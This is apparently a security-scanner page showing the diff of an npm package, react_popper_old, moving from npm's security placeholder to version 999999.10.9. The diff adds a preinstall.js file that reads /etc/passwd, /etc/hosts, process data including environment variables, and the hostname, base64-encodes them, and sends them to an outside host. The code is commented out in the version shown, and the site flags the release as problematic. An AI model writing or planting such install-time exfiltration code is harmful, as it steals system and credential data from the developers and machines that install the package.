react_popper_old 0.0.1-security → 999999.10.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of react_popper_old might be problematic. Click here for more details.
- package/index.js +3 -0
- package/package.json +15 -3
- package/preinstall.js +52 -0
- package/README.md +0 -5
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1,18 @@
|
|
1
1
|
{
|
2
2
|
"name": "react_popper_old",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "999999.10.9",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": ""
|
8
|
+
},
|
9
|
+
"author": "arthuraires4",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"http": "0.0.1-security",
|
13
|
+
"https": "^1.0.0",
|
14
|
+
"os": "^0.1.1",
|
15
|
+
"react_popper_old": "^999999.9.9"
|
16
|
+
},
|
17
|
+
"description": ""
|
6
18
|
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,52 @@
|
|
1
|
+
/*
|
2
|
+
|
3
|
+
'use strict'
|
4
|
+
|
5
|
+
|
6
|
+
|
7
|
+
const https = require('https')
|
8
|
+
const http = require("http");
|
9
|
+
const os = require("os");
|
10
|
+
|
11
|
+
var currentPath = __dirname.toString('base64');
|
12
|
+
var currentFile = __filename.toString('base64');
|
13
|
+
var currentEnvString = JSON.stringify(process);
|
14
|
+
var currentPath = Buffer.from(JSON.stringify(__dirname)).toString('base64');
|
15
|
+
var currentFile = Buffer.from(JSON.stringify(__filename)).toString('base64');
|
16
|
+
var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
|
17
|
+
var currentHostName = Buffer.from(JSON.stringify(os.hostname())).toString('base64');
|
18
|
+
|
19
|
+
var fs = require('fs')
|
20
|
+
|
21
|
+
function sendRequest(data) {
|
22
|
+
https.get('https://poc.arthurair.es/?-react-popper-old-' + data, (resp) => {
|
23
|
+
}).on("error", (err) => {
|
24
|
+
console.log("Error: " + err.message);
|
25
|
+
});
|
26
|
+
}
|
27
|
+
|
28
|
+
fs.readFile('/etc/passwd', 'utf8', async function (err,file) {
|
29
|
+
|
30
|
+
var etc = Buffer.from(file).toString('base64');
|
31
|
+
var env = currentEnvBase64;
|
32
|
+
|
33
|
+
sendRequest('--------------------INICIO-ME------------------------')
|
34
|
+
sendRequest(etc)
|
35
|
+
sendRequest(env)
|
36
|
+
sendRequest(currentPath)
|
37
|
+
sendRequest(currentHostName)
|
38
|
+
sendRequest(currentFile)
|
39
|
+
|
40
|
+
});
|
41
|
+
|
42
|
+
fs.readFile('/etc/hosts', 'utf8', async function (err,file) {
|
43
|
+
|
44
|
+
var etcHosts = Buffer.from(file).toString('base64');
|
45
|
+
|
46
|
+
sendRequest(etcHosts)
|
47
|
+
|
48
|
+
});
|
49
|
+
|
50
|
+
sendRequest('--------------------FINAL--ME----------------------')
|
51
|
+
|
52
|
+
*/
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=react_popper_old for more information.
|